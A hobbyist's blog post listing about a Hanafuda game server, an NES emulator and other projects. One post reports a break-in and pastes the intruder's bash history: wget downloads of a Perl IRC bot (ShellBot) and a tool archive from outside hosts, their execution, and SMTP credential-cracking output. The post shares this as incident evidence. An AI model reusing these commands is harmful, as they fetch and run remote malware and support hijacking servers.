Posted by asterick under
Uncategorized
I’m restructuring my webpage a bit… and I might be writting my own CMS to accommodate some changes I’m making to my server. Fun stuff. As a result, things are getting moved to new locations. If you need help finding something, check the side bar. Hopefully things will be up an running in no time flat!
Posted by asterick under
Uncategorized
Ok, whomever you are Omni, I would like to let you know that I am sorry for the login attempts, someone in Poland managed to create an account on my server and was using my machine as a slave. I’ve removed their account and subsequently terminated their login. I’m working on figuring out how the got in, and hopefully I will have the problem solved ASAP.
And before you make any accusations please stop to think that maybe, JUST maybe there is some jackass out besides the obvious that is doing things.
Additional information on said person
The IP logs from wtmp
pts/0
pts/0
pts/0
ts/0[username removed]
216.52.176.230
pts/1
pts/0
ts/0[username removed]
bya46.internetdsl.tpnet.pl
pts/0
pts/1
ts/1[username removed]
bya46.internetdsl.tpnet.pl
DNS Info on the first IP
IP address: 216.52.176.230
Reverse DNS: [Unknown]
Reverse DNS authenticity: [Unknown]
ASN: 12179
ASN Name: INTERNAP-2BLK
IP range connectivity: 4
Registrar (per ASN): ARIN
Country (per IP registrar): US [United States]
Country Currency: USD [United States Dollars]
Country IP Range: 216.52.0.0 to 216.53.255.255
Country fraud profile: Normal
City (per outside source): Dallas, Texas
Country (per outside source): US [United States]
Private (internal) IP? No
IP address registrar: whois.arin.net
Known Proxy? No
Link for WHOIS: 216.52.176.230
Their Bash history
wget streetwise.com/~ryan/error
perl error -i jjja -n jjja -c hawtin -s diemen.nl.eu.undernet.org -a defu_
/sbin/ifconfig |grep inet
killall -9 perl
perl error -i jjja -n jjja -c hawtin -s mesa2.az.us.undernet.org -a defu_
passwd
passwd
/sbin/ifconfig
w
w
cd /var/tmp
ls
cd /dev/shm/.a/
ls
vi smtp.txt
rm -rf smtp.txt
vi smtp.txt
ls
vi smtp.txt
cat smtp.txt |grep Cracked
rm -rf smtp.txt
vi smtp.txt
cat smtp.txt |grep Cracked
cat smtp.txt |grep Cracked |sort
rm -rf smtp.txt
wget jedi.kaist.ac.kr/bogus/fb4targz
tar zxvf fb4targz
cd nt
./0-100
cat run
ls
cp nt cash
vi run
cat run
vi run
cat run
rm -rf run
vi run
./0-100 65
chmod 755 run
./0-100 65
cat log
cat log
ps -x
cat log
cat log
w
cat log
killall -9 cash
./0-100 69
cat log
cat log
cat log
cat log
killall -9 cash
./0-100 204
./100-200 205
killall -9 cash
./0-100 204
./100-200 204
killall -9 cash
According to a scanner, PERL/ShellBot was used. it has been disabled
Posted by asterick under
Hanafuda,
Projects
The rewrite is functional. It is stable enough that I managed to play 4-5 hands without fault, and I think that is actually more stable than the previous one. Once all the logins from the previous server are gone, I’m bringing it down forever.
there are BOUND to be issues with the new server, please don’t email me about them. I’m working on getting it stable asap. Consider it’s current state as “beta”.
Hanafuda is go.
Posted by asterick under
Hanafuda
The translation to PHP is finish. Right now, I’m running a massive debug cycle to make sure that it is functional…. after that comes stress testing. expect the new server code with-in the week.
Posted by asterick under
Hanafuda,
Personal
Ok, anyone who knows me knows my email address has not changed in close to 11 years. Tragically, my father (Who hosted my email account) has sold off his domain name for a considerable sum of money. This means that I now have a new address. Rather than attempting to get ahold of people individually… I’m making a post here so people who want to find me can.
the new address is unicdk at gmail
Easy enough, I suppose.
Also, I would estimate that the hanafuda server rewrite is about 80% complete. One I finish it, I’ll begin a prerelease testing cycle. If all goes well, than it will completely replace the old server. This means no more reboots or firewall problems. Also, I will be able to do “hot patching” the the source code, so I won’t have to kick everyone out to be able to fix bugs.
The average person will see zero change in the game, except for increase delays when players quit the game
Posted by asterick under
Hanafuda
Well, the hanafuda upgrade didn’t happen, simply because I’ve been too busy to finish working on the new server core. I WILL get around to writing it, but it might take slightly longer than anticipated. Just forwarning, when I get it written, service for the old server will stop, so there might be a day or two of “stress testing” before it goes live where the original server may or may not be online.
I’ve also been playing around with themes for the site. I’m not sure if I’m going to keep this one. I kinda like how simple it looks.
Posted by asterick under
Emulation,
Hardware
Well, I ordered this through work, and wasn’t expecting it for at least a few weeks. Hopefully I have some time to play with this. I really want to make an FPGA NES, or PC Engine.
Addendum: The 50mhz oscillator was shot, so I had to send it back.
Posted by asterick under
Games,
Hanafuda,
Projects
Sooo….. I accidentally removed hanafuda’s server from my firewall, so the server was running, and functional.. but it wasn’t receiving connections. Sorry about that.
On a side note, I’ve started a complete rewrite of the hanafuda server which will be tunneled though my webserver, rather than an independant socket. this should require a LOT fewer restarts and such. The only downside is that the “player disconnected” notice will take a lot longer to see, the other side is that if you use a wireless connection, or any other ‘unstable’ connection, it won’t just drop you out.
I plan on rolling it out within the week, depending on how long it takes me to debug and such. We’ll see!
Posted by asterick under
Emulation,
Projects
Well, inFami has slowly progressed into what might be considered a ‘good’ emulator. It’s by no means the best, but it’s up there. I fixed the bugs with all the known mappers, and all the mappers that support extra audio chips have been implemented. I also added MMC5 emulation. Anyone who has ever written an NES emulator will understand the pain that is involved in doing this. The thing is a monster.
Currently, I support 37 of the ~128 iNES mappers. A good number of those will never be implemented, due to being pirate multi-carts. Out of those mappers, only 3 of them are partially implemented. Vertical split is not included in MMC5 (it was only used in an Japanese title ending in SDF that escapes me right now). The Famicom Disk System is supported, ala timing hacks and spoon feeding, it is missing wavetable. Also the VRC7 is missing it’s OPL2 like audio (mostly because I don’t have a good understanding of how the OPL2 works).
I’m probably going to take a break from implementing new mappers, and start working on improving the core timing of the NES. there are numerous little “off by one” errors that are strewn throughout the core… mostly in the PPU. The APU ’sounds’ right, but some of the status bits and stuff don’t fire right. I think the DMC IRQ counter is off too, because Fire Hawk bounces like a toddler.
Posted by asterick under
Projects,
Synth
This is an older project I created when I was experimenting with realtime synthesis in C#. It plays the soundtrack from Doukutsu Monogatori (Cave Story).
ORGplayer (source)
ORGplayer (binary w/music)